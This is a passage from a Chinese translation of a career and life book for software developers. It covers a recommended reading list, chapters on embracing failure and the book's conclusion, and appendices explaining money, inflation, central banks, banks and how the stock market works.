and Influence People）［Gallery Books，1998再版］\n这本书是我读过的对我影响最大的另一本书。这本书在许多方面改变了我的个人观点，帮我在与人接触方面获得了成功——在阅读这本书之前这些对我而言是不可想象的。\n读这本书之前，我坚信通过负强化[1]可以改变他人的行为。我迫使自己将自己的严格的纪律标准强加给别人。我相信，当别人出错时，告诉他们错在哪里是很重要的。惩罚的威胁是激励人的最好办法。\n读完这本书之后，我的看法发生了180°的改变。我认为负强化几乎是完全无用的——让别人做你想做的事情的唯一方法就是让他们自己也想做这件事。\n如果你必须在这个书单中选出一本书去阅读，那么就是这本书了。我坚信每个人都应该读这本书。我至少读了十几遍，每次重读都会令我获得新的见解。\nNapoleon Hill的 《思考致富》 （Think and Grow Rich） ［Wilder Publications，2007］\n在我第一次试着读这本书的时候，我倍感沮丧。第二次读的时候，稍微进步了一点，但还是觉得它和我个人的喜好相去甚远。最终，在和推荐这本书的很多成功人士交谈之后，在得知有些人将他们的成功完全归功于这本书之后，我决定再读一遍。\n这本书有点儿奇怪。从根本上讲，它声称，如果你相信一件事能成功，只要坚持并强化这个信念，最终它就会变成现实。我提醒你，这种方法没有太多的科学依据。这本书甚至没打算尝试用科学来作解释，不过，无论这种方法的原理是什么，我已经在自己的生活中见证了这种方法是有效的，而且很多其他人也发誓说这种方法是有效的。\n“策划小组”这个概念就出自于这本书。这本书还有很多其他重要的概念，能帮你学习怎样改变自己的信念，这对你的生活会有巨大的影响。\nMaxwell Maltz的《心理控制方法》（Psycho-Cybernetics）［Pocket Books，1989再版］\n这本书在很多方面让我联想到《思考致富》，但它是《思考致富》的科学版。这本书是由整形外科医生写的，他发现，人们整容之后，其性格实际上也会发生变化。这促使他去研究自我形象，并有了一些重大发现，他发现自我形象有将我们的生活向好的方面或者不好的方面发生彻底改变的能力。\n我发现，这本书对于描述思维是如何运作的，以及思维是如何影响我们身体的，有一些非常好的洞察力。这本书提供了各种方法的实际应用来让你的态度、你的自我形象和你的信念向积极的方向转变。\nNorman Vincent Peale的《积极思考就是力量》（The Power of Positive Thinking）［Touchstone，2003再版］\n这是一本带有宗教色彩的书，所以要事先提醒一下，但是这本书的全部内容都非常强大。积极思考的观念对你的生活会产生深远的影响，这一点我坚决赞成。如果你想养成更加积极的态度，这本书肯定能帮到你。\nAyn Rand的《阿特拉斯耸耸肩》（Atlas Shrugged）［Signet，2005再版］\n你会对这本书又爱又恨，但无论哪一种，它都会给你带来思考。这本书是虚构的，约1 200页，但是对生活、经济、工作都提出了非常严肃的疑问。\n软件开发类图书\nSteve McConnell的 《代码大全》 （Code Complete） ［Microsoft Press，2004］\n这本书完全改变了我写代码的方式。在我第一次读完这本书之后，我感觉我完全理解了什么是好的代码。书中所有例子是用C++写的，但是编码概念可以应用到任何一种编程语言上。\n这本书是编写好的代码和构建代码结构的入门级指导大全。尽管有很多软件开发类图书都在关注高层设计，但这本书是我能找到的唯一一本关注细节的书，例如，如何命名一个变量，如何构建算法里面的代码结构。\n如果我有一家软件开发公司，这本书将会成为我雇用的所有软件开发人员的必读书。这绝对是我读过的最有影响力的软件开发书。\nRobert Martin的《代码整洁之道》（Clean Code: A Handbook of Agile Software Craftmanship）［Prentice Hall，2008］\n读这本书绝对是一种享受。《代码大全》教我如何编写好的代码，《代码整洁之道》提炼了知识并帮助我理解如何把这些知识用到完整的代码库和程序设计上。\n这是我认为任何软件开发人员都需要读的另一本书。这本书中的概念将帮你成为一名更好的开发人员，同时还能帮你理解为什么简单和易于理解比整洁的代码更重要。\nEric Freeman、Elisabeth Robson、Bert Bates和Kathy Sierra的 《Head First设计模式》（Head First Design Patterns）［O’Reilly Media，2004］\n我推荐这本书而不是推荐经典的《设计模式》（Design Patterns），这会让人觉得有点儿奇怪，但这本书比《设计模式》更容易让人理解。\n不要误会我，《设计模式》是一本很好的书，它介绍了软件开发领域经典的设计模式思想，但是《Head First设计模式》对这些经典的设计模式思想做了更好的解释。如果你只想读一本设计模式的书，就读这本吧。\n投资类图书\nGary Keller的The Millionaire Real Estate Investor［McGraw-Hill，2005］\n如果我只能推荐一本关于房地产投资的书，那么就是这本了。这本书解释了为什么房地产投资是一个好主意，以及如何从中获得丰厚的收益，它给你提供了一个切实可行的计划。\n这本书包含了很多图表，展示了房地产是如何通过长期投资来盈利的，同时书中绝对没有“夸夸其谈”的内容。\nRobert Kiyosaki的《富爸爸，穷爸爸》（Rich Dad,Poor Dad）［Demco Media，2000］\n这是另外一本改变我生活的书，它改变了我对金钱和财富的看法。这本书改变了我对钱是如何运作的认识，改变了我对“拥有一份工作”以及“为别人工作意味着什么”的看法。读完这本书之后，我清楚地理解了建立资产和减少自己的开销有多么重要。\n我对这本书唯一不满意的地方就是，它没有明确告诉你要“如何做”。同时，这本书里有不少有价值的建议——我强烈推荐Kiyosaki的整个“富爸爸”系列。\nKerry Given的No-Hype Options Trading: Myths, Realities, and Strategies That Really__Work［Wiley，2011］\n很多理财方面的书里承诺的回报和主张的观点既荒谬又无耻，但是这本书不是。相反，它道出了事实，并帮助你切实了解期权交易是如何运作的，提供了可用来赚钱的实用策略，以及这些策略将引发的固有风险。如果想学习期权交易或者只是想更好地了解期权交易，强烈推荐这本书。\n[1] 负强化又叫消极强化，即利用强化物抑制不良行为重复出现的管理手段，负强化包括批评、惩罚、处分、降职、降薪等。通过负强化可以使人感到物质利益的损失和精神上的痛苦，从而主动放弃不良行为。——译者注\n第70章 积极面对失败\n跌倒七次，爬起来八次。\n——日本谚语\n在本书接近尾声的时候，我想给你提最后一个建议，或许对你来说这个建议比这本书任何一个建议都更具有潜在的意义。在生活中，也许你能学会让你更成功的所有技能，但是如果你缺少持之以恒这个重要的技能，一切都将是毫无意义的，因为那样的话刚一遇到麻烦你就会放弃——生活中我们都会面对很多麻烦。\n另一方面，你的专业知识可能严重不足，你可能缺乏社交技能和金融知识，但是只要你能坚持到底，我相信你最终会找到自己的出路。\n作为一名软件开发人员，这种特质对你来说特别重要，因为在你的生活和事业中你很可能面对大量的困难。开发软件就是很难的——很可能这就是它吸引你的原因之一。在本章中，我们将讨论坚持的重要性以及为什么培养面对困难无所畏惧的能力至关重要。\n为什么我们总是害怕失败\n畏惧失败似乎是大多数人的本能。人都喜欢做自己擅长的事情，逃避做那些自己不能胜任的或是缺乏技能的事情。我们似乎与生俱来就畏惧失败。\n甚至连我3岁的女儿都害怕失败。我妻子教她读书时，她的进步明明很大，但是你能看得出来当她读到不熟悉的字时，她读的声音会很轻；对认识的字，她会很有自信地大声读出来。给她一个具有挑战性的词汇或者一些与她的能力不匹配的任务，她会说：“妈妈，你来读。”幼小的她也倾向于放弃而不是去尝试。\n在大多成年人身上这种现象会被放大。大多数人在面对重大挑战时，或者有直接或间接失败可能性的情况时，都会逃避这种情况发生。当你在夜总会选择避免与体重300磅、可能会痛打你一顿的大猩猩一样的家伙搏斗时，这个做法是说得过去的，但当你面对一个上台演讲的机会或者学习一门新的编程语言时，害怕失败就说不过去了，在这种情况下，就算失败也不会对你有实质性的伤害。\n如果非要我猜猜为什么大多数人如此害怕失败，我不得不说这可能是基于保护脆弱的自尊的想法。或许我们害怕失败就是因为我们太过将失败归咎于个人，我们认为在特定领域下的失败是个人价值的流逝。\n我认为，对“失败”性质的误解还会助长这种对个人价值伤害的恐惧感。我们都被告之，并且倾向于认为，失败是一件不好的事情。我们没有看到，失败的阴影中暗含着一线曙光，我们只把失败看作是终点—— 失败这个词本身暗示着死胡同、绝望的终点，而不是通往成功之路上的一个暂时壁垒。在我们的脑海中想象这样一个画面：在一个岛上，一群人被困住了。他们无望地坐在沙滩上，没有获救的希望，他们的生活是失败的，他们是失败者。\n即使我们知道失败并不是终点，我们似乎也能感受到这一点。我们往往太过较真，把失败看得太重。因为我们接受过把失败看作通往成功道路——很多情况下这也是唯一的一条道路——的训练，所以我们不惜任何代价地避免失败。\n失败并不是被打败\n失败不同于被打败。失败是暂时的，被打败是永恒的。失败是那些碰巧发生在你身上的——你不能完全控制它。被打败却是你可以选择的——是对失败的某种程度的接受。\n要实现不畏惧失败，第一步就是真正意识到失败不是终点——除非你选择把它看作是终点。生活不易，你随时都会被击垮，但是否要重新站起来却完全取决于你自己。它取决于你是否决定为自己最值得拥有的东西战斗，取决于你是否要享受获得成功后的喜悦和乐趣，大多数情况下，它来自于战胜困难的成就感。\n你是否玩过一个很难通关的电子游戏？还记得自己打败最后那个大怪时的那种成就感吗？一路走来你可能失败了很多次，但取得成功以后是多么喜悦啊！同样难度的电子游戏，如果你输入了通关码，有无数条命或者变成无敌手，即使通关又有什么乐趣呢？你会拥有成功后的那份喜悦吗？\n还是电子游戏的例子，如果在第一次受挫败被打死的时候你就扔掉了控制器，会发生什么？某种程度上，从很多次失败中获得的经验反而让你最终获得了成功的体验，这是不是更令你乐在其中？如果是这样，你为什么要把失败当作是一种永恒的状态而逃避生活中的失败呢？你不能指望拿起电玩遥控器，不经历掉下陷阱或者被火球烧焦就能通关，那么你为什么要指望一生不经历失败呢？\n失败是通往成功的必经之路\n不要畏惧失败，要拥抱失败。不只是因为失败和被打败不同，还因为失败是通往成功的必经之路。生活中所有值得拥有、值得去完成的事情都需要经历失败。\n问题是，我们学到的都是用负面的视角去看待失败。上学的时候，作业得了F，这被看为退步。没有人教你要把这个失败看作能让你离自己的目标越来越近的学习经验，你反而会被告知这整个都是负面的事情。\n现实生活不是那样的。我不是说你不应该为了考试而学习，也不是说为了获得学习经验和塑造个性而一定要努力考一个F，我想说的是，在现实生活中失败通常是必要的里程碑，它能带领我们离成功越来越近。\n在现实世界里，当你在某件事上失败的时候，你从中学到了经验并且有可能成长。我们的大脑就是被这样训练的。如果你曾经试过学习如何玩杂耍，或者打篮球，或者其他需要相互配合的体育活动，你会知道在成功前会失败很多次。\n记得第一次学杂耍的时候，我把三个球扔向空中，三个球都打到了地上，我一个球都没有抓住。我可以甩手说：“我不会玩杂耍。”但是出于某种原因我坚持下来了。我知道别人能学会我也能学会，所以我继续坚持。在经历了几百次或许上千次的丢球以后，我终于成功了。随着时间的推移，我的大脑做了微小的纠正，最终在一次又一次的失败体验中我学会了杂耍。我控制不了这个过程。我需要做的就是不断尝试——首先不要害怕去尝试。\n学会拥抱失败\n重申一遍，我必须要说，即使你在本书中什么都没有学到，那也要记下下面这条建议：学会拥抱失败、期待失败、接受失败，并准备直面失败。\n只是不畏惧失败还不够，还要主动寻觅失败。想成长就必须把自己放在保证会失败的环境中。我们常常会因为停止做那些对我们有挑战或者危险的事情而停滞不前。我们寻找生活中的温室，关上小屋的门，拉上窗户，任凭外面狂风暴雨，我们绝不冲到雨中。\n但是，有时候你需要被淋湿，有时候你需要把自己放到一个不舒服的环境下强迫自己成长，有时候你需要积极地走出去寻找这样的环境，要知道，你越将你的船驶向失败，将你吹向失败的另外一面（成功）的风就会越强。\n要如何拥抱失败？要如何说服自己跳入波涛汹涌的大海？从接受失败是生活的一部分开始。你必须明白，在生活中你要面对很多失败，很多是不可避免的，任何事情第一次做都不可能做到完美，你会犯错。\n你还要明白，就算失败也没关系。犯错也没关系。你可以尝试避免犯错，但是不要因为害怕伤害自尊而以付出错失良机为代价。一旦你意识到失败是好事，失败并不能定义你的价值而你对待失败的态度恰恰才能说明你的价值，你才会真正学会对失败无所畏惧。\n最后，我还是要建议你将自己暴露在失败的环境里。去做那些让你不舒服的事情。在本书的前面我们讨论过不要害怕看起来像个傻瓜，对待失败我也要说一样的话。事实上，这两个观点是紧密相连的。走出去，有目的地去把自己放在那些不可避免地会导致某种失败的困境中。但关键是不要放弃——让失败点亮通往成功的道路。去经历尽可能多的失败吧，畏惧失败本身才会让你失去克服困难的能力。\n我要留给你最后一句关于失败的话，摘自Napoleon Hill的《思考致富》一书：\n“大多数伟大的人取得的最大成功与他们所经历的最大失败只有一步之遥。”\n采取行动\n对失败的恐惧是如何让你退缩的？想想生活中那些你想做但由于一时犹豫或者自尊受损而没有做的事情。\n承诺至少做一件因为害怕失败而一直回避的事情。不要敷衍了事。很多人明知道有些事会失败还去“尝试”，这样做不会让他们真正失败，因为“没有真正尝试过”才会是失败。真的去尝试，真的去体验失败吧。\n第71章 结束语\n好吧，就到这里吧。我们终于来到了这本书的结尾。之所以说“我们”，是因为我希望你把读这本书当作是跟我写这本书一样的冒险旅程。当我开始动手写这本书的时候，我并不知道写一本这么长、这么厚的书这么难。我只知道我想要写一本书，分享我在自己作为软件开发人员的职业生涯中已经学到的一些重要的经验和教训——并不是关于如何编写优质代码、推动职业生涯上进的经验，而是关于如何做好更全面的人的经验，以及如何把我的人生价值发挥到最大同时又有利于他人的经验。\n我不是天才。我甚至都不是一位能够在反思他几十年的生活经验之后给你可以受益50年的智慧的长者，所以不要把我的这本书当作福音。这本书就是我的经验以及到目前为止让我获得成功的关键要素的分享。希望你能从中找到一些有用的东西，即便你可能不同意书中的所有观点——那也没关系。\n这正是这本书的要点。你不能把别人说的话都当作福音。没有人可以垄断真理。现实中，很大程度上，正是你自己发现了真理。这并不意味着你可以忽视这世界上的公认真理、只管自行其是，但这意味着你可以决定你想要过怎样的生活，你该怎样去生活。如果你能学会管理诸如成功、理财、健身以及自己的心理状态等事务的基本原则，你就可以利用这些原则来塑造你自己的现实世界。\n希望在读完这本书之后，你已经得出结论：那些你过去已经被告知的关于“你该如何生活”的狭窄的、笔直的道路，如你要取得好成绩、尽量不要搞砸了、上大学、找份工作然后安心工作50多年直到退休吧……并不是你可以走下去的唯一道路。当然，你也可以继续沿着过去被告知的那条道路前进，只要你愿意；不过，如果你正在读这本书，我相信你已经意识到，生活原本要比你所厌恶的朝九晚五的工作丰富多彩得多。\n结束语\n希望这本书已经让你意识到，全世界都是你的机会，都在你的掌控之下。你可以更好地管理自己的职业生涯，可以从中获益更多，甚至可以把自己的职业生涯带向全新的方向，可以学会实际构建自己的个人品牌、营销自己——把自己的软件开发职业生涯提升到一个认为不可能达到的全新高度，让自己有机会影响更多的人。\n希望这本书教会了你学习和吸收信息的新方法，给了你足够的信心去超越自我——不只是为了学到东西而去学习，还要把你学到的知识与他人分享、使他人受益，不管你是沿着哪条路径前进。\n希望这本书能够激励你更有成效，更谨慎地管理和善用你的时间，并且能够激励你看到努力工作的价值，并付诸于实践——即使是在你觉得缺乏动力继续前行的时候。\n希望这本书能激励你以某种方式去健身，更好地照顾自己的身体健康，使你意识到实际上你也可以保持身材，并不因为你是软件开发人员就不能成为健壮的、运动型的人，只要你愿意，你至少可以主动控制自己的健康。\n最后，我希望这本书已经帮你意识到意志力是多么强大、多么重要，你的头脑可以作为一种工具，要么推动你前进，要么在你来不及做出反应、来不及应用自己所学的时候就摧毁你的前程。我希望这本书可以让你意识到你有能力成为你想成为的人，你也可以通过积极思考和坚持到底的力量重新塑造自己。\n是的，这些都是任何一本书都向往的崇高目标，尤其是一本与软件开发有关的书。不过，只要我能在一些很小的地方帮到你，让你改善了自己的生活哪怕一点点，我都会认为这是一场胜利。\n在你放下这本书之前，我有一个小小的请求：如果你发现这本书对自己有帮助，如果你认为其他人也可能会从中受益，请把它分享给别人。我这么说不是为了提高这本书的销量——尽管我很愿意这么做，但是着手写这本书真不是为了赚钱——我花500小时可以做很多很多更有利可图的事情，写这本书只是因为我认为我们不仅应该不遗余力地做好一个软件开发人员，而且应该做好一个人：去帮助他人。\n感谢你抽出时间来阅读这本书，并真诚地希望你能在本书中发现一些永久的价值。\nJohn Sonmez，http://simpleprogrammer.com\n附录A 如果你能写代码，你就能理解金融\n老实说，大多数软件开发人员都不太了解金融。你可能不是这样的，但是我知道在我第一次进入软件开发世界的时候，我对金融领域是如何运作的真正机理一无所知。除了买卖股票，我根本不了解股票市场的运作机制，我对按揭贷款和银行的运作机制也是一头雾水，我对期权和金融衍生品也是一窍不通。我只对保险公司如何赚钱有个模糊的概念。\n我不清楚为什么这些东西我都没有学习过——我推断大概是因为学校不教这些知识，父母也没有教我们这些。然而，当我开始想拥有一栋属于自己的房子而不再租房子的时候，我自学了金融知识，这对我来说受益匪浅。\n这类金融知识对我来说非常有益，我想把这些知识传授给你。事实证明，不要把金融世界想象得太过复杂，大多数内容都是一望可知的——难就难在并不是所有人都愿意花时间主动去了解金融世界的奥秘。\n在附录B中，我们将撩开金融世界的面纱，揭示金融体系运作的机理——股票交易是怎么一回事，银行是如何做按揭贷款的，以及银行从事这些业务的钱是从哪里来的。但是，在了解这些细节之前，我们需要对货币和金融的运作原理有一个基本的了解，这一点很重要。\n在本附录中，我将述说金融系统的基础知识，并帮你理解你持有的美元钞票意味着什么，以及它是如何产生的。具备基础知识之后将有利于我们讨论更复杂的话题，同时希望我能改变你对货币及其运作机理的认知。如果你已经精通经济学，本章内容对你而言可能是平淡无奇的。但是，如果你像我当初一样对金融世界懵懵懂懂，你可能会惊奇地发现金钱与你之前的想象是如此不同，你的观点将从此改变。\nA.1 货币是什么\n我们将从最基础、最重要的问题开始：货币是什么？你手里的99美分并不只代表麦当劳芝士汉堡的价格——显然芝士汉堡这个比喻比较贴切，因为货币体现的就是其使用价值。\n在货币出现以前，人们通过物物交换的方式得到他们想要的。我用我的两头母牛交换你的五只山羊。我当然也可以用一些小麦换到一些皮革。物物交换的问题是你得找到那个有你想要的东西的人，并且你也有他想要的东西。这个组合有时很难找到，特别是当你对事物怀有奇特品味的时候。\n如果每个人都有一个中间媒介就会简单得多。因为，你可以同任何人交易而不必担心你们彼此之间的需求是否匹配。货币正好就是这个中间媒介。它代表了一些未来的效用和价值。1美元本身没有价值，但我可以用1美元买到一个芝士汉堡，这时它就有价值了。\nA.2 货币的类型\n为了让货币有价值，必须限量供应。早期的货币系统是建立在商品基础上的。这意味着它们是建立在某种有价值并且总量有限的商品的基础之上。这样，货币作为交易工具的价值就与它本身的价值分开了。由金银这样的稀有贵重金属充当实物货币，这样既保障了货币本身的价值又维持了其总量有限。\n为了更好地理解这个概念，想一想你听到的监狱里的囚犯用香烟作为货币的传闻。这个例子完美地说明了基于商品的货币体系。香烟本身具有其价值，同时在监狱这样的封闭环境里香烟也可以用作可交换的交易工具。\n商品货币的问题是它不能规模化，即商品货币很难大规模、快速地商品化，因为要增加可用的货币量就必须要扩大该商品的生产量。美国的货币体系曾经是以黄金作为实物支撑的商品货币（美元）体系。这被叫做代用货币，因为美元钞票就代表了一定数量的黄金，二者的运作方式也相同。在美元以黄金作为实物支撑的年代，1美元钞票本质上就代表了一定数量的黄金。这意味着印刷更多的美元钞票就必须要开采更多的黄金。\n然而，美国最终放弃了这个背后以黄金为支撑的货币体系，过渡到所谓的法定货币（纸币）。法定货币基本上是由政府发行的，与某个特定商品之间没有直接联系。与商品货币不同的是，法定货币其本身没有价值；它就是一张纸——或者其他任何一种用来制作货币的材料。法定货币之所以有价值是因为人们认可它有一定的价值。法定货币的价值主要是建立在两个方面上：有多少货币可以使用，以及发行并保障货币价值的政府之经济形势如何。\nA.3 通货膨胀与通货紧缩\n你可能已经猜到，发行法定货币是相当繁琐的。基于某些认知其价格很容易改变，这是因为它不与任何特定商品绑定，其价值在很大程度上可以人为操控。\n事实证明，法定货币特别容易受通货膨胀和通货紧缩的影响。通货膨胀就是货币的价值缩水了，所以跟以前相比可以购买的东西变少了。在高通胀时代，纯粹从数字的角度看，咱们这些可爱的、胖胖的开发人员的薪水并没有减少，但是其实际价值却变小了，因为其他东西都变贵了。\n通货紧缩正相反。当通货紧缩发生时，你的货币更有购买力。同样金额的货币忽然可以买到更多的东西。你将发现通货紧缩会导致商品价格降低了。其实在通货紧缩期，东西的价值没有缩水，只是你的钱更值钱了。\n你知道通货膨胀和通货紧缩会影响你的抵押贷款吗？是的，会的。你的欠款会特别受到通货膨胀和通货紧缩的影响，我们在第52章中讲过。这里，再举一个简单的例子说明通胀和通缩对你的贷款的影响。\n假设你有10万美元的抵押贷款。假设目前我们处在高通胀期，无论你是否按揭，实际上你欠款总额都会变少。是的，你的抵押款可能仍然是10万美元，但因为美元没那么坚挺，10万美元就变成了一笔较小的债务。\n是不是有点儿困惑呢？不用担心，拿汉堡做例子你会更容易理解。假设在你一开始贷款的时候每个芝士汉堡售价是1美元。所以，你的实际贷款总额相当于10万个芝士汉堡。当高通胀来临之后，美元变弱势了，所有东西都涨价了，现在1美元的芝士汉堡要卖2美元。芝士汉堡的价钱发生了变化，但芝士汉堡仍然是那个芝士汉堡。汉堡本身的卡路里含量与口味和你贷款的时候是一样的。\n再来看看你现在的欠款发生了什么变化。你现在欠5万个汉堡而不是10万个了。所以，通胀实际减轻了你的债务。\n遗憾的是，还有另外一种可能。假设你处在一个高通缩期。你可能很兴奋地发现，现在只要花50美分就能买到美味的汉堡，而不是1美元。不过，你马上又会意识到你现在欠银行20万个汉堡而不是10万个。所以，通缩增加了你的债务。\n这个小例子告诉了你什么？实际上，这些实践你可以马上投入应用。如果你有债务，通胀会减轻你的债务，而通缩会增加你的债务。如果你的钱存在银行，或者别人欠你的钱，通胀会让你手头的现金以及未来的现金都贬值。相反，通缩让你的钱更值钱。在高通胀期，你最好用自己的钱做投资，或者借些贷款，因为钱放在银行会贬值，而通胀增加时债务反而会减少。在通缩期，则正好相反——你需要尽可能地消除债务，因为即使你什么都不做钱也在增值。\nA.4 中央银行\n你现在应该很明确了，高额的通胀和通缩对任何货币体系都是不好的。波动会让人不安，引起各种对经济发展不利的行为，如过度借贷或囤积商品。\n法定货币需要特殊的机制来预防和处理通胀与通缩，或者说至少需要阻止极端通胀与通缩的发生。这就是中央银行发挥作用的地方了。\n在美国，中央银行被称为“美国联邦储备银行”（简称美联储）。美联储负责维持美国货币。美联储有大量不同的工具来抑制通胀和通缩的波动，刺激或者减缓经济的增长。\n你可能听说过，美联储和其他中央银行常常使用的人为操纵货币和经济的几样法宝。基本上，大多数中央银行可以发行更多的货币。本质上，它们就是印钞票的。你可以想象的出印钞票所产生的实际效果——这会产生通胀。如果流通的货币变多，货币就会贬值。\n曾经有几个不同的经济体由于印了太多的钞票引起了大麻烦。这令我想到了墨西哥和日本，很多种货币在尝试通过发行更多钞票的方法来解决问题时都尝到了苦头。多印钞票只是暂时的办法。\n中央银行同样可以通过发行政府债券来减少货币流通。出售债券可以换取现金，这样可以减少货币流通量。如果你猜到这可能会引起通缩，你的回答完全正确。\n当然中央银行的权利并不止于此。中央银行还可以控制被称作为“法定存款准备金”的东西，这是该国内所有银行必须遵循的规则，这个规则规定：根据中央银行确定的存款准备金比率，银行必须将其所吸纳的存款保留相应数额部分不得用于借贷。提高存款准备金会导致银行不能外放太多的贷款，降低存款准备金则可以提高贷款总量。所以，银行外放的贷款越多，货币就贬值得越厉害——这就产生了通胀。反之亦然。\n你可能也听说过像美联储这样的中央银行降低过贴现率，这个贴现率不会直接反映在你的贷款利率上，但是它控制了银行向央行拆借现金时的利率。贴现率的高低可以让货币增值或者贬值，从而影响流通中的货币总量。\nA.5 那么“普通银行”又是怎么回事\n我不是吓唬你，目前经济体系下流通的货币要比实际的货币量大。如果你、我、我们每一个人都决定把我们存在银行里的钱全取出来，那么整个经济将会迅速崩溃。因为理论上银行里的钱不够我们将存在银行中的钱都取出来的，所以我们没有都一次性把我们存在银行中的钱全取出来真是一大幸事。\n银行就是靠建立在这些存款上的借贷与储蓄来运作的。我们说过了中央银行制定了银行要保留多少存款准备金的政策，这是决定银行能够出借多少钱的主要因素。典型情况下，当你在银行存入100美元时，银行会借出其中的90%。\n整个银行系统运作是基于“所有人不会一次性取出所有存款”这个想法之上的。银行的运营主要就是靠把我们的存款借给别人、收取的贷款利息高于银行支付给我们的存款利息，从而赚取其中的差价。\n就像你想象的那样，这是一笔有风险的生意，你无法准确地预见人们什么时候可能要求取回他们存入的那一大笔存款。出于这个原因，银行与银行之间存在内部网络，以便在有需要时他们之间可以相互拆借。银行同样可以向政府借钱，但是他们通常要支付更高的利率。\n你应该知道信用卡还款实际上不是支付给万事达和Visa这两家公司，对吧？你实际上是还钱给银行的，银行涉足所有的借款生意，从汽车贷款到信用卡贷款。\n有个问题一直困扰着我，当银行把所有的钱都借出去以后该怎么办。它们是不是该告诉自己的员工坐等30年直到把贷出去的钱都收回来？事实上，在美国，银行主要把钱贷给了房利美（Fannie Mae）和房地美（Freddie Mac）这两大公司。这两大公司在保证符合他们所设置的一系列承保要求的前提下购买任何贷款（这就是为什么在申请贷款的时候需要办理这么多手续的原因）。\n银行创造贷款需求的同时又把贷款卖给这样的公司，从而把其中赚到的一部分利息用来支付它们要支付的存款利息。这就要求银行要不断地让人们来贷款，以便于把钱迅速地借出去，不留任何现金。\nA.6 金融体系的基础\n现在你已经了解了有关经济体系运作和货币体系运作的基础知识，你已经知道了构建经济体系的上层理论，然而，最重要的是：它们对你有何影响？几乎所有的金融要素都根植于风险、收益和流动性。那么，你想让你手中的钱获得多大的收益、多少利息？一项投资的风险又有多大？当你在把钱从一种形式转换为另一种形式的时候又有多么便利呢？\n基于这些要素构建了各级市场、衍生出各种理财方式。有些人把钱用于购买债券——低风险、低回报、流动性比较差。有些人喜欢投资股市——高风险、高回报、高流动性。我则喜欢投资不动产——低风险、高回报、流动性也远高于你的需求。\n采取行动\n为了更好地了解货币运作的机制，以及通货膨胀如何影响这种机制，请做好下面的练习。\n查阅一下10年以来白面包的价格，然后计算一下你每年的当年年收入分别可以购买多少个白面包。\n再查一下，按现在白面包的价格，同样的收入现在可以买到多少个白面包。\n假设随着时间的推移白面包的价值保持不变，你的工资和10年前相比到底是增加了还是降低了？你能买到手的白面包是变多了还是变少了？\n附录B 股市是如何运作的：系统的游戏规则\n到目前为止，希望你已经充分了解了投资的必要性。只是省钱是不够的，除非你愿意过非常节俭的生活，而且愿意等待很长的时间。你必须让你的钱动起来，以便让钱生出更多的钱。\n个人投资最常见的方式之一就是投资股市。我喜欢房地产，但是对于许多人来说，股市是一个简便的投资途径，因为股票、债券、共同基金、期权以及期货合约这些投资渠道的流动性都比不动产高得多。\n无论你决定投资于哪种产品，重要的是要弄明白股市的运作原理。作为一名软件开发人员，把复杂的股市了解透彻对你来说应该是不在话下的，因为这其中很大一部分就是以数学和计算机为基础的——特别是在今天。你甚至在股票投资和交易方面拥有先天的优势——你对于分析复杂数据的能力显然要高于平均水平，这就意味着你可以透彻地理解股市交易的各种相关算法。\n在本附录中，我将简要论述股市的基础知识。如果你曾经购买或者出售过股票，可能会对我们将在这里讨论的一些东西已经是耳熟能详了，但我将会从更深层次解释股市的运作机理——为什么每只股票都有一个卖出价和买入价，以及当你在交易股票的时候幕后发生的真实详情又是什么。\n地雷：为什么关于股市的内容会出现在本书的附录里\n你可能会问我，为什么要把有关股市的内容放在本书的附录中。这是一个很合理的问题。\n我的意思是，你当然可以去别的书中寻找有关股市和股市运作原理的知识，但是你会这样做吗？而且你会意识到了解这个复杂的金融系统的运作机理有多么重要吗？不要误会我的意思，我并不是说我认为你不了解有关股市运作机理的基本知识，但我确实发现很少有人确切了解幕后的真实信息，我认为这一点非常重要。另外，如果你真的想加入浩浩荡荡的投资大军，就应当充分发挥你这优于普通人群的程序员大脑的优势，就要了解股市的基础知识。\nB.1 股市存在的目的\n要想真正了解股市，你就需要了解它的存在目的是什么。股市存在的目的就是使投资者更容易购买和出售股份，那么股票究竟是什么呢？\n股票就是一家公司所有权的百分比。如果一家公司想要在股市上公开上市，那么它必须先注册成立为股份制公司。注册成立之后，公司就成为一个法人实体。于是从本质上说，公司就拥有了许多人类的属性。一家公司可以拥有不动产以及其他财产，签署法律协议，获得信贷，起诉或者被起诉。各个国家和地区对法人实体责权利的规定都制定了各种各样的法律。\n那么，为什么一家企业要成为股份制公司并在股票市场上卖出自己的股份呢？最大的原因是为了筹集资金。当一家股份制公司首次在股市销售股票时（销售股票也被称作“交易”），这个过程被称为首次公开发行（Initial Public Offering，IPO）。在首次公开发行中时，公司可以卖出自己一定比例的股份以筹集资金。例如，如果某家公司上市发行100万股，每股售价10美元，那么该公司在IPO时可以募集到1000万美元的资金。\n企业出售股份以获取资金\n这笔钱可以用来进一步拓展公司业务，例如，雇用更多的员工、购买设备，甚至是收购其他公司。最棒的一点就是，这笔钱还不需要偿还。公司现在由股东掌控，有关公司的重大决策将由股东投票表决——一个股东（无论个人或实体）如果拥有公司的多数股份，那么他就拥有公司的控股权，即控制该公司。\n这就将我们最终又带回股市。如果没有股市这样一个开放的市场给不同公司的股票提供交易场所，那么购买和出售股票都将是很困难的。决定某只股票该定怎样的价格也是非常困难的。股市保证了股票的流动性，使它们可以很容易被交易。与之相比，房地产交易就麻烦多了，无论是在购买还是在出售的时候。\nB.2 当你交易股票的时候会发生什么\n如果你曾经在股市上做过股票交易，那么你可能对股市的基本知识比较熟悉。每只股票都有一个随时间波动的估价。你可以以当前价格买进或者卖出一定份额的股票。但是，股市真实的运作机理比表面上看起来要复杂得多。\n首先，个股并不是只有单一的股价。事实上，股市里的每只股票都有所谓的买入价和卖出价。卖出价就是你卖出股票时别人为这只股票所报出的价格。买入价就是你在买入一只股票时股票持有者的出让价格。\n实际上，买入价和卖出价之间是有差异的。这种差异被称作价差。影响价差的因素有很多，但一个主要因素就是股票的流动性。股票的流动性越高，价差就越小；反之，股票的流动性越差，价差就越大。股票的流动性主要是由交易量的大小来确定的。通常，交易股票的人越多，流动性就越好。\n你马上可以看出来，如果你对买入价与卖出价之间的价差了如指掌，会对你十分有利。如果你买入股票之后立即卖出，那你几乎铁定要亏钱。因为只要你一买入某只股票，你马上就损失掉与价差相等数额的资金。例如，如果你以每股20美元的价格买入一只股票，此时价差是 1 美元，那么此时你能卖出这只股票的最高价就只能是19美元。这就是投资股票市场非常棘手的原因之一——从一开始你就处于不利的地位。\n此时，你可能又想知道：一只的股票的买入价和卖出价是怎样设定的？一只股票的流动性又是怎样确定的？这个问题的答案是：造市商（market 